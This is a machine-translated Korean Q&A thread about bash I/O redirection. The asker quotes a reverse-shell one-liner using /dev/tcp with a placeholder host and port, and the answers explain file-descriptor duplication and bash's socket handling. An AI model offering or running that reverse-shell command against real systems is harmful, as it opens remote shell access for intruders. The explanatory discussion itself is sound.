나는 이것을 발견했을 때 bash에서 리버스 쉘을 얻는 방법을 찾고 있었습니다:
bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1
내가 이해하는 바에 따르면 stdout과 stderr은 /dev/tcp/HOST/PORT
연결()을 통해 전송되고 stdin은 0<&1
연결()을 통해 읽혀집니다. 그러나 내가 읽은 것처럼여기, 0>&1 표현식도 유효합니다. 이것은 나에게 이해가 되지 않으며(내가 아는 한 >
"다음 fd에 쓰기" 및 <
"다음 fd에서 읽기") 첫 번째 방법으로만 작동해야 합니다.
내 질문은: 내가 뭔가를 잊고 있는 걸까요, 아니면 완전히 틀린 걸까요? 이 I/O 리디렉션 예에는 어떤 내부 프로세스가 포함됩니까?
답변1
<&
구문과 구문의 유일한 차이점 >&
은 전자는 대상 파일 설명자가 입력을 위해 열려 있는지 확인하고 후자는 출력을 위해 열려 있는지 확인한다는 것입니다. 실제 작업은 두 경우 모두 동일합니다(아마도 dup2
호출). 또한 대부분의 리디렉션이 > /dev/tcp/HOST/PORT
시스템 호출을 수행하는 것과는 다릅니다 . open
구문 /dev/tcp
은 bash의 특별한 경우이며 실제로 bash는 소켓을 엽니다(그런 다음 일반 파일 설명자 wrt처럼 작동 read
하고 write
호출됩니다). 소켓에는 파일을 여는 것과 같은 읽기 전용 또는 읽기 전용 속성이 없습니다. 소켓은 읽기 및 쓰기를 허용합니다( shutdown(2)
원하는 경우 그 중 절반을 선택할 수 있습니다). 따라서 bash는 사용된 두 구문 모두에서 리디렉션 오류를 받지 않으며 호출이 dup2
동일하므로 동작도 동일합니다.
답변2
예. <
>
에 적용될 때 말하는 내용을 나타냅니다 open()
. 그러나 기존 파일 설명자를 사용할 때는 이 작업을 수행하지 마십시오. 이미 open()
삭제되었습니다. 따라서 쉘이 이미 획득한 파일 설명자의 읽기/쓰기 특성을 변경하지 않고 단지 변경하기만 하기 때문에 어떤 플래그를 사용하는지는 중요하지 않습니다 dup()
.
그래서...
{ read v <&4; } 4>/dev/null
read: read error: 0: Bad file descriptor
하지만...
{ read v 0>&4; } 4</dev/null
... 전혀 불평하지 않습니다.
위의 두 예 모두에서 파일 설명자가 성공적으로 복사되었습니다. 쉘은 잘 작동하기 때문에 fd 복제에 대해 불평하지 않습니다. 이는 기본적으로 이전과 동일한 불만 사항입니다.
{ echo hi there; read v; } 0>/dev/null
hi there
read: read error: 0: Bad file descriptor
read
파일 설명자 0에서 읽으려고 하면 EBADF를 받기 때문에 불만이 표시됩니다 . 두 번째 예에서 &4
stdin에 대한 쓰기 전용을 성공적으로 수행한 것처럼 쉘은 첫 번째 예에서 stdin에 성공적으로 복사합니다.open()
사실, fd dup의 맥락에서 <
and >
표시는 완전히 관련이 없습니다. 왜냐하면 <&[num]
and는 여전히 and 물론 의 약어이기 때문입니다 >&[num]
.0<&[num]
1>&[num]